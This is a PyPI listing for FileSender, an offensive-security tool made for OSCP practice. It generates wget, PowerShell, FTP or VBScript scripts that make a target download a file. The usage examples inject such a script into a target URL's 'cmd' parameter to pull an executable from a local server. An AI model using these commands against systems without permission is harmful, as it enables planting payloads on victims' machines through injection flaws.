Skip to main content

Create script into different language to download a file form a server . Can be useful to send file via a SQLi.

Project description

PyPi License Donate Beerpay

Table of Contents

FileSender

Project URL : https://github.com/EmilienPer/FileSender

FileSender was created to be used for OSCP certification. It's aims to generate a script to upload a file to a target in different languages. The base mechanism is the following :

  • Copy the file in a tempory directory
  • Start a server (if required)
  • Create the script to download the file from the server or to build the file
  • Send the script to the target

Requirement

FileSender run on Python 2.7 can't work correctly without the following tools

The following tools are required:

  • upx (/usr/bin/upx)
  • exe2bat.exe
  • wine

Installation

sudo pip install filesender

Options

Option Shortcut Description
file The path to file to send
method the language of the script (powershell,hex,ftp,wget,vbscript,exe2bat)
type the type of output/sending method (print / get / post)
dest the destination directory on the target
--server-ip The local ip address
--server-port The local port
--url -u The Target URL
--params -p A json {key:value} where value=<SCRIPT> when should be replace by the script
--cookies -c The cookies json
--timeout The timeout for server

Usage

  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
  • filesender /path/to/my/file.exe ftp print /path/on/the/target
  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"}

Issues management

For contributions or suggestions, please open an Issue and clearly explain, using an example or a use case if appropriate.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

filesender-1.2.tar.gz (7.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

filesender-1.2-py2-none-any.whl (22.3 kB view details)

Uploaded Python 2

File details

Details for the file filesender-1.2.tar.gz.

File metadata

  • Download URL: filesender-1.2.tar.gz
  • Upload date:
  • Size: 7.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.12.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/39.0.1 requests-toolbelt/0.9.1 tqdm/4.30.0 CPython/2.7.15

File hashes

Hashes for filesender-1.2.tar.gz
Algorithm Hash digest
SHA256 955a2146800834d7e9409ebeda95e252815e0b1904233dc2ab8b35058586097d
MD5 5a5dbf1de36ec8cbac9d761401bd926e
BLAKE2b-256 80395b575e2346be0ddf2314dadd97e15e2fb89c049b8c5a4e7c82d0fe2652b5

See more details on using hashes here.

File details

Details for the file filesender-1.2-py2-none-any.whl.

File metadata

  • Download URL: filesender-1.2-py2-none-any.whl
  • Upload date:
  • Size: 22.3 kB
  • Tags: Python 2
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.12.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/39.0.1 requests-toolbelt/0.9.1 tqdm/4.30.0 CPython/2.7.15

File hashes

Hashes for filesender-1.2-py2-none-any.whl
Algorithm Hash digest
SHA256 da3256154a8fc01457b3b7449223ccc24fb7a23eedfea348dd6195cec5987253
MD5 8ce033b805868823f7dd40554cc94d71
BLAKE2b-256 6d9ea90d2398335d2cfed426129d1581ef0fdb1b7817c6bc91d9c2dea61b85ad

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page